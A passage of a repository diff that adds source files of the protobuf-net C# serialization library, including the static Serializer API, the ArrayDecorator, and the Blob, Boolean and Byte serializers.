public static implicit operator SerializationContext (System.Runtime.Serialization.StreamingContext ctx)
{
SerializationContext result = new SerializationContext();
#if !(WINRT || PHONE7 || PHONE8)
result.Context = ctx.Context;
result.State = ctx.State;
#endif
return result;
}
#endif
}
}

View File

@ -0,0 +1,529 @@

using ProtoBuf.Meta;
using System;
using System.IO;
#if !NO_GENERICS
using System.Collections.Generic;
#endif
#if FEAT_IKVM
using Type = IKVM.Reflection.Type;
using IKVM.Reflection;
#else
using System.Reflection;
#endif
namespace ProtoBuf
{
/// <summary>
/// Provides protocol-buffer serialization capability for concrete, attributed types. This
/// is a *default* model, but custom serializer models are also supported.
/// </summary>
/// <remarks>
/// Protocol-buffer serialization is a compact binary format, designed to take
/// advantage of sparse data and knowledge of specific data types; it is also
/// extensible, allowing a type to be deserialized / merged even if some data is
/// not recognised.
/// </remarks>
public
#if FX11
sealed
#else
static
#endif
class Serializer
{
#if FX11
private Serializer() { } // not a static class for C# 1.2 reasons
#endif
#if !NO_RUNTIME && !NO_GENERICS
/// <summary>
/// Suggest a .proto definition for the given type
/// </summary>
/// <typeparam name="T">The type to generate a .proto definition for</typeparam>
/// <returns>The .proto definition as a string</returns>
public static string GetProto<T>()
{
return RuntimeTypeModel.Default.GetSchema(RuntimeTypeModel.Default.MapType(typeof(T)));
}
/// <summary>
/// Create a deep clone of the supplied instance; any sub-items are also cloned.
/// </summary>
public static T DeepClone<T>(T instance)
{
return instance == null ? instance : (T)RuntimeTypeModel.Default.DeepClone(instance);
}
/// <summary>
/// Applies a protocol-buffer stream to an existing instance.
/// </summary>
/// <typeparam name="T">The type being merged.</typeparam>
/// <param name="instance">The existing instance to be modified (can be null).</param>
/// <param name="source">The binary stream to apply to the instance (cannot be null).</param>
/// <returns>The updated instance; this may be different to the instance argument if
/// either the original instance was null, or the stream defines a known sub-type of the
/// original instance.</returns>
public static T Merge<T>(Stream source, T instance)
{
return (T)RuntimeTypeModel.Default.Deserialize(source, instance, typeof(T));
}
/// <summary>
/// Creates a new instance from a protocol-buffer stream
/// </summary>
/// <typeparam name="T">The type to be created.</typeparam>
/// <param name="source">The binary stream to apply to the new instance (cannot be null).</param>
/// <returns>A new, initialized instance.</returns>
public static T Deserialize<T>(Stream source)
{
return (T) RuntimeTypeModel.Default.Deserialize(source, null, typeof(T));
}
/// <summary>
/// Writes a protocol-buffer representation of the given instance to the supplied stream.
/// </summary>
/// <param name="instance">The existing instance to be serialized (cannot be null).</param>
/// <param name="destination">The destination stream to write to.</param>
public static void Serialize<T>(Stream destination, T instance)
{
if(instance != null) {
RuntimeTypeModel.Default.Serialize(destination, instance);
}
}
/// <summary>
/// Serializes a given instance and deserializes it as a different type;
/// this can be used to translate between wire-compatible objects (where
/// two .NET types represent the same data), or to promote/demote a type
/// through an inheritance hierarchy.
/// </summary>
/// <remarks>No assumption of compatibility is made between the types.</remarks>
/// <typeparam name="TFrom">The type of the object being copied.</typeparam>
/// <typeparam name="TTo">The type of the new object to be created.</typeparam>
/// <param name="instance">The existing instance to use as a template.</param>
/// <returns>A new instane of type TNewType, with the data from TOldType.</returns>
public static TTo ChangeType<TFrom,TTo>(TFrom instance)
{
using (MemoryStream ms = new MemoryStream())
{
Serialize<TFrom>(ms, instance);
ms.Position = 0;
return Deserialize<TTo>(ms);
}
}
#if PLAT_BINARYFORMATTER && !(WINRT || PHONE8)
/// <summary>
/// Writes a protocol-buffer representation of the given instance to the supplied SerializationInfo.
/// </summary>
/// <typeparam name="T">The type being serialized.</typeparam>
/// <param name="instance">The existing instance to be serialized (cannot be null).</param>
/// <param name="info">The destination SerializationInfo to write to.</param>
public static void Serialize<T>(System.Runtime.Serialization.SerializationInfo info, T instance) where T : class, System.Runtime.Serialization.ISerializable
{
Serialize<T>(info, new System.Runtime.Serialization.StreamingContext(System.Runtime.Serialization.StreamingContextStates.Persistence), instance);
}
/// <summary>
/// Writes a protocol-buffer representation of the given instance to the supplied SerializationInfo.
/// </summary>
/// <typeparam name="T">The type being serialized.</typeparam>
/// <param name="instance">The existing instance to be serialized (cannot be null).</param>
/// <param name="info">The destination SerializationInfo to write to.</param>
/// <param name="context">Additional information about this serialization operation.</param>
public static void Serialize<T>(System.Runtime.Serialization.SerializationInfo info, System.Runtime.Serialization.StreamingContext context, T instance) where T : class, System.Runtime.Serialization.ISerializable
{
// note: also tried byte[]... it doesn't perform hugely well with either (compared to regular serialization)
if (info == null) throw new ArgumentNullException("info");
if (instance == null) throw new ArgumentNullException("instance");
if (instance.GetType() != typeof(T)) throw new ArgumentException("Incorrect type", "instance");
using (MemoryStream ms = new MemoryStream())
{
RuntimeTypeModel.Default.Serialize(ms, instance, context);
info.AddValue(ProtoBinaryField, ms.ToArray());
}
}
#endif
#if PLAT_XMLSERIALIZER
/// <summary>
/// Writes a protocol-buffer representation of the given instance to the supplied XmlWriter.
/// </summary>
/// <typeparam name="T">The type being serialized.</typeparam>
/// <param name="instance">The existing instance to be serialized (cannot be null).</param>
/// <param name="writer">The destination XmlWriter to write to.</param>
public static void Serialize<T>(System.Xml.XmlWriter writer, T instance) where T : System.Xml.Serialization.IXmlSerializable
{
if (writer == null) throw new ArgumentNullException("writer");
if (instance == null) throw new ArgumentNullException("instance");
using (MemoryStream ms = new MemoryStream())
{
Serializer.Serialize(ms, instance);
writer.WriteBase64(ms.GetBuffer(), 0, (int)ms.Length);
}
}
/// <summary>
/// Applies a protocol-buffer from an XmlReader to an existing instance.
/// </summary>
/// <typeparam name="T">The type being merged.</typeparam>
/// <param name="instance">The existing instance to be modified (cannot be null).</param>
/// <param name="reader">The XmlReader containing the data to apply to the instance (cannot be null).</param>
public static void Merge<T>(System.Xml.XmlReader reader, T instance) where T : System.Xml.Serialization.IXmlSerializable
{
if (reader == null) throw new ArgumentNullException("reader");
if (instance == null) throw new ArgumentNullException("instance");
const int LEN = 4096;
byte[] buffer = new byte[LEN];
int read;
using (MemoryStream ms = new MemoryStream())
{
int depth = reader.Depth;
while(reader.Read() && reader.Depth > depth)
{
if (reader.NodeType == System.Xml.XmlNodeType.Text)
{
while ((read = reader.ReadContentAsBase64(buffer, 0, LEN)) > 0)
{
ms.Write(buffer, 0, read);
}
if (reader.Depth <= depth) break;
}
}
ms.Position = 0;
Serializer.Merge(ms, instance);
}
}
#endif
private const string ProtoBinaryField = "proto";
#if PLAT_BINARYFORMATTER && !NO_GENERICS && !(WINRT || PHONE8)
/// <summary>
/// Applies a protocol-buffer from a SerializationInfo to an existing instance.
/// </summary>
/// <typeparam name="T">The type being merged.</typeparam>
/// <param name="instance">The existing instance to be modified (cannot be null).</param>
/// <param name="info">The SerializationInfo containing the data to apply to the instance (cannot be null).</param>
public static void Merge<T>(System.Runtime.Serialization.SerializationInfo info, T instance) where T : class, System.Runtime.Serialization.ISerializable
{
Merge<T>(info, new System.Runtime.Serialization.StreamingContext(System.Runtime.Serialization.StreamingContextStates.Persistence), instance);
}
/// <summary>
/// Applies a protocol-buffer from a SerializationInfo to an existing instance.
/// </summary>
/// <typeparam name="T">The type being merged.</typeparam>
/// <param name="instance">The existing instance to be modified (cannot be null).</param>
/// <param name="info">The SerializationInfo containing the data to apply to the instance (cannot be null).</param>
/// <param name="context">Additional information about this serialization operation.</param>
public static void Merge<T>(System.Runtime.Serialization.SerializationInfo info, System.Runtime.Serialization.StreamingContext context, T instance) where T : class, System.Runtime.Serialization.ISerializable
{
// note: also tried byte[]... it doesn't perform hugely well with either (compared to regular serialization)
if (info == null) throw new ArgumentNullException("info");
if (instance == null) throw new ArgumentNullException("instance");
if (instance.GetType() != typeof(T)) throw new ArgumentException("Incorrect type", "instance");
byte[] buffer = (byte[])info.GetValue(ProtoBinaryField, typeof(byte[]));
using (MemoryStream ms = new MemoryStream(buffer))
{
T result = (T)RuntimeTypeModel.Default.Deserialize(ms, instance, typeof(T), context);
if (!ReferenceEquals(result, instance))
{
throw new ProtoException("Deserialization changed the instance; cannot succeed.");
}
}
}
#endif
#if !NO_GENERICS
/// <summary>
/// Precompiles the serializer for a given type.
/// </summary>
public static void PrepareSerializer<T>()
{
#if FEAT_COMPILER
RuntimeTypeModel model = RuntimeTypeModel.Default;
model[model.MapType(typeof(T))].CompileInPlace();
#endif
}
#if PLAT_BINARYFORMATTER && !(WINRT || PHONE8)
/// <summary>
/// Creates a new IFormatter that uses protocol-buffer [de]serialization.
/// </summary>
/// <typeparam name="T">The type of object to be [de]deserialized by the formatter.</typeparam>
/// <returns>A new IFormatter to be used during [de]serialization.</returns>
public static System.Runtime.Serialization.IFormatter CreateFormatter<T>()
{
#if FEAT_IKVM
throw new NotSupportedException();
#else
return RuntimeTypeModel.Default.CreateFormatter(typeof(T));
#endif
}
#endif
/// <summary>
/// Reads a sequence of consecutive length-prefixed items from a stream, using
/// either base-128 or fixed-length prefixes. Base-128 prefixes with a tag
/// are directly comparable to serializing multiple items in succession
/// (use the <see cref="ListItemTag"/> tag to emulate the implicit behavior
/// when serializing a list/array). When a tag is
/// specified, any records with different tags are silently omitted. The
/// tag is ignored. The tag is ignores for fixed-length prefixes.
/// </summary>
/// <typeparam name="T">The type of object to deserialize.</typeparam>
/// <param name="source">The binary stream containing the serialized records.</param>
/// <param name="style">The prefix style used in the data.</param>
/// <param name="fieldNumber">The tag of records to return (if non-positive, then no tag is
/// expected and all records are returned).</param>
/// <returns>The sequence of deserialized objects.</returns>
public static IEnumerable<T> DeserializeItems<T>(Stream source, PrefixStyle style, int fieldNumber)
{
return RuntimeTypeModel.Default.DeserializeItems<T>(source, style, fieldNumber);
}
/// <summary>
/// Creates a new instance from a protocol-buffer stream that has a length-prefix
/// on data (to assist with network IO).
/// </summary>
/// <typeparam name="T">The type to be created.</typeparam>
/// <param name="source">The binary stream to apply to the new instance (cannot be null).</param>
/// <param name="style">How to encode the length prefix.</param>
/// <returns>A new, initialized instance.</returns>
public static T DeserializeWithLengthPrefix<T>(Stream source, PrefixStyle style)
{
return DeserializeWithLengthPrefix<T>(source, style, 0);
}
/// <summary>
/// Creates a new instance from a protocol-buffer stream that has a length-prefix
/// on data (to assist with network IO).
/// </summary>
/// <typeparam name="T">The type to be created.</typeparam>
/// <param name="source">The binary stream to apply to the new instance (cannot be null).</param>
/// <param name="style">How to encode the length prefix.</param>
/// <param name="fieldNumber">The expected tag of the item (only used with base-128 prefix style).</param>
/// <returns>A new, initialized instance.</returns>
public static T DeserializeWithLengthPrefix<T>(Stream source, PrefixStyle style, int fieldNumber)
{
RuntimeTypeModel model = RuntimeTypeModel.Default;
return (T)model.DeserializeWithLengthPrefix(source, null, model.MapType(typeof(T)), style, fieldNumber);
}
/// <summary>
/// Applies a protocol-buffer stream to an existing instance, using length-prefixed
/// data - useful with network IO.
/// </summary>
/// <typeparam name="T">The type being merged.</typeparam>
/// <param name="instance">The existing instance to be modified (can be null).</param>
/// <param name="source">The binary stream to apply to the instance (cannot be null).</param>
/// <param name="style">How to encode the length prefix.</param>
/// <returns>The updated instance; this may be different to the instance argument if
/// either the original instance was null, or the stream defines a known sub-type of the
/// original instance.</returns>
public static T MergeWithLengthPrefix<T>(Stream source, T instance, PrefixStyle style)
{
RuntimeTypeModel model = RuntimeTypeModel.Default;
return (T)model.DeserializeWithLengthPrefix(source, instance, model.MapType(typeof(T)), style, 0);
}
/// <summary>
/// Writes a protocol-buffer representation of the given instance to the supplied stream,
/// with a length-prefix. This is useful for socket programming,
/// as DeserializeWithLengthPrefix/MergeWithLengthPrefix can be used to read the single object back
/// from an ongoing stream.
/// </summary>
/// <typeparam name="T">The type being serialized.</typeparam>
/// <param name="instance">The existing instance to be serialized (cannot be null).</param>
/// <param name="style">How to encode the length prefix.</param>
/// <param name="destination">The destination stream to write to.</param>
public static void SerializeWithLengthPrefix<T>(Stream destination, T instance, PrefixStyle style)
{
SerializeWithLengthPrefix<T>(destination, instance, style, 0);
}
/// <summary>
/// Writes a protocol-buffer representation of the given instance to the supplied stream,
/// with a length-prefix. This is useful for socket programming,
/// as DeserializeWithLengthPrefix/MergeWithLengthPrefix can be used to read the single object back
/// from an ongoing stream.
/// </summary>
/// <typeparam name="T">The type being serialized.</typeparam>
/// <param name="instance">The existing instance to be serialized (cannot be null).</param>
/// <param name="style">How to encode the length prefix.</param>
/// <param name="destination">The destination stream to write to.</param>
/// <param name="fieldNumber">The tag used as a prefix to each record (only used with base-128 style prefixes).</param>
public static void SerializeWithLengthPrefix<T>(Stream destination, T instance, PrefixStyle style, int fieldNumber)
{
RuntimeTypeModel model = RuntimeTypeModel.Default;
model.SerializeWithLengthPrefix(destination, instance, model.MapType(typeof(T)), style, fieldNumber);
}
#endif
/// <summary>Indicates the number of bytes expected for the next message.</summary>
/// <param name="source">The stream containing the data to investigate for a length.</param>
/// <param name="style">The algorithm used to encode the length.</param>
/// <param name="length">The length of the message, if it could be identified.</param>
/// <returns>True if a length could be obtained, false otherwise.</returns>
public static bool TryReadLengthPrefix(Stream source, PrefixStyle style, out int length)
{
int fieldNumber, bytesRead;
length = ProtoReader.ReadLengthPrefix(source, false, style, out fieldNumber, out bytesRead);
return bytesRead > 0;
}
/// <summary>Indicates the number of bytes expected for the next message.</summary>
/// <param name="buffer">The buffer containing the data to investigate for a length.</param>
/// <param name="index">The offset of the first byte to read from the buffer.</param>
/// <param name="count">The number of bytes to read from the buffer.</param>
/// <param name="style">The algorithm used to encode the length.</param>
/// <param name="length">The length of the message, if it could be identified.</param>
/// <returns>True if a length could be obtained, false otherwise.</returns>
public static bool TryReadLengthPrefix(byte[] buffer, int index, int count, PrefixStyle style, out int length)
{
using (Stream source = new MemoryStream(buffer, index, count))
{
return TryReadLengthPrefix(source, style, out length);
}
}
#endif
/// <summary>
/// The field number that is used as a default when serializing/deserializing a list of objects.
/// The data is treated as repeated message with field number 1.
/// </summary>
public const int ListItemTag = 1;
#if !NO_RUNTIME
/// <summary>
/// Provides non-generic access to the default serializer.
/// </summary>
public
#if FX11
sealed
#else
static
#endif
class NonGeneric
{
#if FX11
private NonGeneric() { } // not a static class for C# 1.2 reasons
#endif
/// <summary>
/// Create a deep clone of the supplied instance; any sub-items are also cloned.
/// </summary>
public static object DeepClone(object instance)
{
return instance == null ? null : RuntimeTypeModel.Default.DeepClone(instance);
}
/// <summary>
/// Writes a protocol-buffer representation of the given instance to the supplied stream.
/// </summary>
/// <param name="instance">The existing instance to be serialized (cannot be null).</param>
/// <param name="dest">The destination stream to write to.</param>
public static void Serialize(Stream dest, object instance)
{
if (instance != null)
{
RuntimeTypeModel.Default.Serialize(dest, instance);
}
}
/// <summary>
/// Creates a new instance from a protocol-buffer stream
/// </summary>
/// <param name="type">The type to be created.</param>
/// <param name="source">The binary stream to apply to the new instance (cannot be null).</param>
/// <returns>A new, initialized instance.</returns>
public static object Deserialize(System.Type type, Stream source)
{
return RuntimeTypeModel.Default.Deserialize(source, null, type);
}
/// <summary>Applies a protocol-buffer stream to an existing instance.</summary>
/// <param name="instance">The existing instance to be modified (cannot be null).</param>
/// <param name="source">The binary stream to apply to the instance (cannot be null).</param>
/// <returns>The updated instance</returns>
public static object Merge(Stream source, object instance)
{
if (instance == null) throw new ArgumentNullException("instance");
return RuntimeTypeModel.Default.Deserialize(source, instance, instance.GetType(), null);
}
/// <summary>
/// Writes a protocol-buffer representation of the given instance to the supplied stream,
/// with a length-prefix. This is useful for socket programming,
/// as DeserializeWithLengthPrefix/MergeWithLengthPrefix can be used to read the single object back
/// from an ongoing stream.
/// </summary>
/// <param name="instance">The existing instance to be serialized (cannot be null).</param>
/// <param name="style">How to encode the length prefix.</param>
/// <param name="destination">The destination stream to write to.</param>
/// <param name="fieldNumber">The tag used as a prefix to each record (only used with base-128 style prefixes).</param>
public static void SerializeWithLengthPrefix(Stream destination, object instance, PrefixStyle style, int fieldNumber)
{
RuntimeTypeModel model = RuntimeTypeModel.Default;
model.SerializeWithLengthPrefix(destination, instance, model.MapType(instance.GetType()), style, fieldNumber);
}
/// <summary>
/// Applies a protocol-buffer stream to an existing instance (or null), using length-prefixed
/// data - useful with network IO.
/// </summary>
/// <param name="value">The existing instance to be modified (can be null).</param>
/// <param name="source">The binary stream to apply to the instance (cannot be null).</param>
/// <param name="style">How to encode the length prefix.</param>
/// <param name="resolver">Used to resolve types on a per-field basis.</param>
/// <returns>The updated instance; this may be different to the instance argument if
/// either the original instance was null, or the stream defines a known sub-type of the
/// original instance.</returns>
public static bool TryDeserializeWithLengthPrefix(Stream source, PrefixStyle style, TypeResolver resolver, out object value)
{
value = RuntimeTypeModel.Default.DeserializeWithLengthPrefix(source, null, null, style, 0, resolver);
return value != null;
}
/// <summary>
/// Indicates whether the supplied type is explicitly modelled by the model
/// </summary>
public static bool CanSerialize(Type type)
{
return RuntimeTypeModel.Default.IsDefined(type);
}
}
/// <summary>
/// Global switches that change the behavior of protobuf-net
/// </summary>
public
#if FX11
sealed
#else
static
#endif
class GlobalOptions
{
#if FX11
private GlobalOptions() { } // not a static class for C# 1.2 reasons
#endif
/// <summary>
/// <see cref="RuntimeTypeModel.InferTagFromNameDefault"/>
/// </summary>
[Obsolete("Please use RuntimeTypeModel.Default.InferTagFromNameDefault instead (or on a per-model basis)", false)]
public static bool InferTagFromName
{
get { return RuntimeTypeModel.Default.InferTagFromNameDefault; }
set { RuntimeTypeModel.Default.InferTagFromNameDefault = value; }
}
}
#endif
/// <summary>
/// Maps a field-number to a type
/// </summary>
public delegate Type TypeResolver(int fieldNumber);
/// <summary>
/// Releases any internal buffers that have been reserved for efficiency; this does not affect any serialization
/// operations; simply: it can be used (optionally) to release the buffers for garbage collection (at the expense
/// of having to re-allocate a new buffer for the next operation, rather than re-use prior buffers).
/// </summary>
public static void FlushPool()
{
BufferPool.Flush();
}
}
}

View File

@ -0,0 +1,270 @@
#if !NO_RUNTIME
using System;
using System.Collections;
using ProtoBuf.Meta;
#if FEAT_IKVM
using Type = IKVM.Reflection.Type;
using IKVM.Reflection;
#else
using System.Reflection;
#endif
namespace ProtoBuf.Serializers
{
sealed class ArrayDecorator : ProtoDecoratorBase
{
private readonly int fieldNumber;
private const byte
OPTIONS_WritePacked = 1,
OPTIONS_OverwriteList = 2,
OPTIONS_SupportNull = 4;
private readonly byte options;
private readonly WireType packedWireType;
public ArrayDecorator(TypeModel model, IProtoSerializer tail, int fieldNumber, bool writePacked, WireType packedWireType, Type arrayType, bool overwriteList, bool supportNull)
: base(tail)
{
Helpers.DebugAssert(arrayType != null, "arrayType should be non-null");
Helpers.DebugAssert(arrayType.IsArray && arrayType.GetArrayRank() == 1, "should be single-dimension array; " + arrayType.FullName);
this.itemType = arrayType.GetElementType();
#if NO_GENERICS
Type underlyingItemType = itemType;
#else
Type underlyingItemType = supportNull ? itemType : (Helpers.GetUnderlyingType(itemType) ?? itemType);
#endif
Helpers.DebugAssert(underlyingItemType == Tail.ExpectedType, "invalid tail");
Helpers.DebugAssert(Tail.ExpectedType != model.MapType(typeof(byte)), "Should have used BlobSerializer");
if ((writePacked || packedWireType != WireType.None) && fieldNumber <= 0) throw new ArgumentOutOfRangeException("fieldNumber");
if (!ListDecorator.CanPack(packedWireType))
{
if (writePacked) throw new InvalidOperationException("Only simple data-types can use packed encoding");
packedWireType = WireType.None;
}
this.fieldNumber = fieldNumber;
this.packedWireType = packedWireType;
if (writePacked) options |= OPTIONS_WritePacked;
if (overwriteList) options |= OPTIONS_OverwriteList;
if (supportNull) options |= OPTIONS_SupportNull;
this.arrayType = arrayType;
}
readonly Type arrayType, itemType; // this is, for example, typeof(int[])
public override Type ExpectedType { get { return arrayType; } }
public override bool RequiresOldValue { get { return AppendToCollection; } }
public override bool ReturnsValue { get { return true; } }
#if FEAT_COMPILER
protected override void EmitWrite(ProtoBuf.Compiler.CompilerContext ctx, ProtoBuf.Compiler.Local valueFrom)
{
// int i and T[] arr
using (Compiler.Local arr = ctx.GetLocalWithValue(arrayType, valueFrom))
using (Compiler.Local i = new ProtoBuf.Compiler.Local(ctx, ctx.MapType(typeof(int))))
{
bool writePacked = (options & OPTIONS_WritePacked) != 0;
using (Compiler.Local token = writePacked ? new Compiler.Local(ctx, ctx.MapType(typeof(SubItemToken))) : null)
{
Type mappedWriter = ctx.MapType(typeof (ProtoWriter));
if (writePacked)
{
ctx.LoadValue(fieldNumber);
ctx.LoadValue((int)WireType.String);
ctx.LoadReaderWriter();
ctx.EmitCall(mappedWriter.GetMethod("WriteFieldHeader"));
ctx.LoadValue(arr);
ctx.LoadReaderWriter();
ctx.EmitCall(mappedWriter.GetMethod("StartSubItem"));
ctx.StoreValue(token);
ctx.LoadValue(fieldNumber);
ctx.LoadReaderWriter();
ctx.EmitCall(mappedWriter.GetMethod("SetPackedField"));
}
EmitWriteArrayLoop(ctx, i, arr);
if (writePacked)
{
ctx.LoadValue(token);
ctx.LoadReaderWriter();
ctx.EmitCall(mappedWriter.GetMethod("EndSubItem"));
}
}
}
}
private void EmitWriteArrayLoop(Compiler.CompilerContext ctx, Compiler.Local i, Compiler.Local arr)
{
// i = 0
ctx.LoadValue(0);
ctx.StoreValue(i);
// range test is last (to minimise branches)
Compiler.CodeLabel loopTest = ctx.DefineLabel(), processItem = ctx.DefineLabel();
ctx.Branch(loopTest, false);
ctx.MarkLabel(processItem);
// {...}
ctx.LoadArrayValue(arr, i);
if (SupportNull)
{
Tail.EmitWrite(ctx, null);
}
else
{
ctx.WriteNullCheckedTail(itemType, Tail, null);
}
// i++
ctx.LoadValue(i);
ctx.LoadValue(1);
ctx.Add();
ctx.StoreValue(i);
// i < arr.Length
ctx.MarkLabel(loopTest);
ctx.LoadValue(i);
ctx.LoadLength(arr, false);
ctx.BranchIfLess(processItem, false);
}
#endif
private bool AppendToCollection
{
get { return (options & OPTIONS_OverwriteList) == 0; }
}
private bool SupportNull { get { return (options & OPTIONS_SupportNull) != 0; } }
#if !FEAT_IKVM
public override void Write(object value, ProtoWriter dest)
{
IList arr = (IList)value;
int len = arr.Count;
SubItemToken token;
bool writePacked = (options & OPTIONS_WritePacked) != 0;
if (writePacked)
{
ProtoWriter.WriteFieldHeader(fieldNumber, WireType.String, dest);
token = ProtoWriter.StartSubItem(value, dest);
ProtoWriter.SetPackedField(fieldNumber, dest);
}
else
{
token = new SubItemToken(); // default
}
bool checkForNull = !SupportNull;
for (int i = 0; i < len; i++)
{
object obj = arr[i];
if (checkForNull && obj == null) { throw new NullReferenceException(); }
Tail.Write(obj, dest);
}
if (writePacked)
{
ProtoWriter.EndSubItem(token, dest);
}
}
public override object Read(object value, ProtoReader source)
{
int field = source.FieldNumber;
BasicList list = new BasicList();
if (packedWireType != WireType.None && source.WireType == WireType.String)
{
SubItemToken token = ProtoReader.StartSubItem(source);
while (ProtoReader.HasSubValue(packedWireType, source))
{
list.Add(Tail.Read(null, source));
}
ProtoReader.EndSubItem(token, source);
}
else
{
do
{
list.Add(Tail.Read(null, source));
} while (source.TryReadFieldHeader(field));
}
int oldLen = AppendToCollection ? ((value == null ? 0 : ((Array)value).Length)) : 0;
Array result = Array.CreateInstance(itemType, oldLen + list.Count);
if (oldLen != 0) ((Array)value).CopyTo(result, 0);
list.CopyTo(result, oldLen);
return result;
}
#endif
#if FEAT_COMPILER
protected override void EmitRead(ProtoBuf.Compiler.CompilerContext ctx, ProtoBuf.Compiler.Local valueFrom)
{
Type listType;
#if NO_GENERICS
listType = typeof(BasicList);
#else
listType = ctx.MapType(typeof(System.Collections.Generic.List<>)).MakeGenericType(itemType);
#endif
using (Compiler.Local oldArr = AppendToCollection ? ctx.GetLocalWithValue(ExpectedType, valueFrom) : null)
using (Compiler.Local newArr = new Compiler.Local(ctx, ExpectedType))
using (Compiler.Local list = new Compiler.Local(ctx, listType))
{
ctx.EmitCtor(listType);
ctx.StoreValue(list);
ListDecorator.EmitReadList(ctx, list, Tail, listType.GetMethod("Add"), packedWireType, false);
// leave this "using" here, as it can share the "FieldNumber" local with EmitReadList
using(Compiler.Local oldLen = AppendToCollection ? new ProtoBuf.Compiler.Local(ctx, ctx.MapType(typeof(int))) : null) {
Type[] copyToArrayInt32Args = new Type[] { ctx.MapType(typeof(Array)), ctx.MapType(typeof(int)) };
if (AppendToCollection)
{
ctx.LoadLength(oldArr, true);
ctx.CopyValue();
ctx.StoreValue(oldLen);
ctx.LoadAddress(list, listType);
ctx.LoadValue(listType.GetProperty("Count"));
ctx.Add();
ctx.CreateArray(itemType, null); // length is on the stack
ctx.StoreValue(newArr);
ctx.LoadValue(oldLen);
Compiler.CodeLabel nothingToCopy = ctx.DefineLabel();
ctx.BranchIfFalse(nothingToCopy, true);
ctx.LoadValue(oldArr);
ctx.LoadValue(newArr);
ctx.LoadValue(0); // index in target
ctx.EmitCall(ExpectedType.GetMethod("CopyTo", copyToArrayInt32Args));
ctx.MarkLabel(nothingToCopy);
ctx.LoadValue(list);
ctx.LoadValue(newArr);
ctx.LoadValue(oldLen);
}
else
{
ctx.LoadAddress(list, listType);
ctx.LoadValue(listType.GetProperty("Count"));
ctx.CreateArray(itemType, null);
ctx.StoreValue(newArr);
ctx.LoadAddress(list, listType);
ctx.LoadValue(newArr);
ctx.LoadValue(0);
}
copyToArrayInt32Args[0] = ExpectedType; // // prefer: CopyTo(T[], int)
MethodInfo copyTo = listType.GetMethod("CopyTo", copyToArrayInt32Args);
if (copyTo == null)
{ // fallback: CopyTo(Array, int)
copyToArrayInt32Args[1] = ctx.MapType(typeof(Array));
copyTo = listType.GetMethod("CopyTo", copyToArrayInt32Args);
}
ctx.EmitCall(copyTo);
}
ctx.LoadValue(newArr);
}
}
#endif
}
}
#endif

View File

@ -0,0 +1,64 @@
#if !NO_RUNTIME
using System;
#if FEAT_COMPILER
using System.Reflection.Emit;
#endif
#if FEAT_IKVM
using Type = IKVM.Reflection.Type;
#endif
namespace ProtoBuf.Serializers
{
sealed class BlobSerializer : IProtoSerializer
{
public Type ExpectedType { get { return expectedType; } }
#if FEAT_IKVM
readonly Type expectedType;
#else
static readonly Type expectedType = typeof(byte[]);
#endif
public BlobSerializer(ProtoBuf.Meta.TypeModel model, bool overwriteList)
{
#if FEAT_IKVM
expectedType = model.MapType(typeof(byte[]));
#endif
this.overwriteList = overwriteList;
}
private readonly bool overwriteList;
#if !FEAT_IKVM
public object Read(object value, ProtoReader source)
{
return ProtoReader.AppendBytes(overwriteList ? null : (byte[])value, source);
}
public void Write(object value, ProtoWriter dest)
{
ProtoWriter.WriteBytes((byte[])value, dest);
}
#endif
bool IProtoSerializer.RequiresOldValue { get { return !overwriteList; } }
bool IProtoSerializer.ReturnsValue { get { return true; } }
#if FEAT_COMPILER
void IProtoSerializer.EmitWrite(Compiler.CompilerContext ctx, Compiler.Local valueFrom)
{
ctx.EmitBasicWrite("WriteBytes", valueFrom);
}
void IProtoSerializer.EmitRead(Compiler.CompilerContext ctx, Compiler.Local valueFrom)
{
if (overwriteList)
{
ctx.LoadNullRef();
}
else
{
ctx.LoadValue(valueFrom);
}
ctx.LoadReaderWriter();
ctx.EmitCall(ctx.MapType(typeof(ProtoReader)).GetMethod("AppendBytes"));
}
#endif
}
}
#endif

View File

@ -0,0 +1,57 @@
#if !NO_RUNTIME
using System;
#if FEAT_IKVM
using Type = IKVM.Reflection.Type;
using IKVM.Reflection;
#else
using System.Reflection;
#endif
namespace ProtoBuf.Serializers
{
sealed class BooleanSerializer : IProtoSerializer
{
#if FEAT_IKVM
readonly Type expectedType;
#else
static readonly Type expectedType = typeof(bool);
#endif
public BooleanSerializer(ProtoBuf.Meta.TypeModel model)
{
#if FEAT_IKVM
expectedType = model.MapType(typeof(bool));
#endif
}
public Type ExpectedType { get { return expectedType; } }
#if !FEAT_IKVM
public void Write(object value, ProtoWriter dest)
{
ProtoWriter.WriteBoolean((bool)value, dest);
}
public object Read(object value, ProtoReader source)
{
Helpers.DebugAssert(value == null); // since replaces
return source.ReadBoolean();
}
#endif
bool IProtoSerializer.RequiresOldValue { get { return false; } }
bool IProtoSerializer.ReturnsValue { get { return true; } }
#if FEAT_COMPILER
void IProtoSerializer.EmitWrite(Compiler.CompilerContext ctx, Compiler.Local valueFrom)
{
ctx.EmitBasicWrite("WriteBoolean", valueFrom);
}
void IProtoSerializer.EmitRead(Compiler.CompilerContext ctx, Compiler.Local valueFrom)
{
ctx.EmitBasicRead("ReadBoolean", ExpectedType);
}
#endif
}
}
#endif

View File

@ -0,0 +1,54 @@
#if !NO_RUNTIME
using System;
#if FEAT_IKVM
using Type = IKVM.Reflection.Type;
#endif
namespace ProtoBuf.Serializers
{
sealed class ByteSerializer : IProtoSerializer
{
public Type ExpectedType { get { return expectedType; } }
#if FEAT_IKVM
readonly Type expectedType;
#else
static readonly Type expectedType = typeof(byte);
#endif
public ByteSerializer(ProtoBuf.Meta.TypeModel model)
{
#if FEAT_IKVM
expectedType = model.MapType(typeof(byte));
#endif
}
bool IProtoSerializer.RequiresOldValue { get { return false; } }
bool IProtoSerializer.ReturnsValue { get { return true; } }
#if !FEAT_IKVM
public void Write(object value, ProtoWriter dest)
{
ProtoWriter.WriteByte((byte)value, dest);
}
public object Read(object value, ProtoReader source)
{
Helpers.DebugAssert(value == null); // since replaces
return source.ReadByte();
}
#endif
#if FEAT_COMPILER
void IProtoSerializer.EmitWrite(Compiler.CompilerContext ctx, Compiler.Local valueFrom)
{
ctx.EmitBasicWrite("WriteByte", valueFrom);
}
void IProtoSerializer.EmitRead(Compiler.CompilerContext ctx, Compiler.Local valueFrom)
{
ctx.EmitBasicRead("ReadByte", ExpectedType);
}
#endif
}
}
#endif

View File

@ -0,0 +1,44 @@
#if !NO_RUNTIME
using System;
#if FEAT_IKVM
using Type = IKVM.Reflection.Type;
using IKVM.Reflection;
#else
using System.Reflection;
#endif
namespace ProtoBuf.Serializers
{
sealed class CharSerializer : UInt16Serializer
{
#if FEAT_IKVM
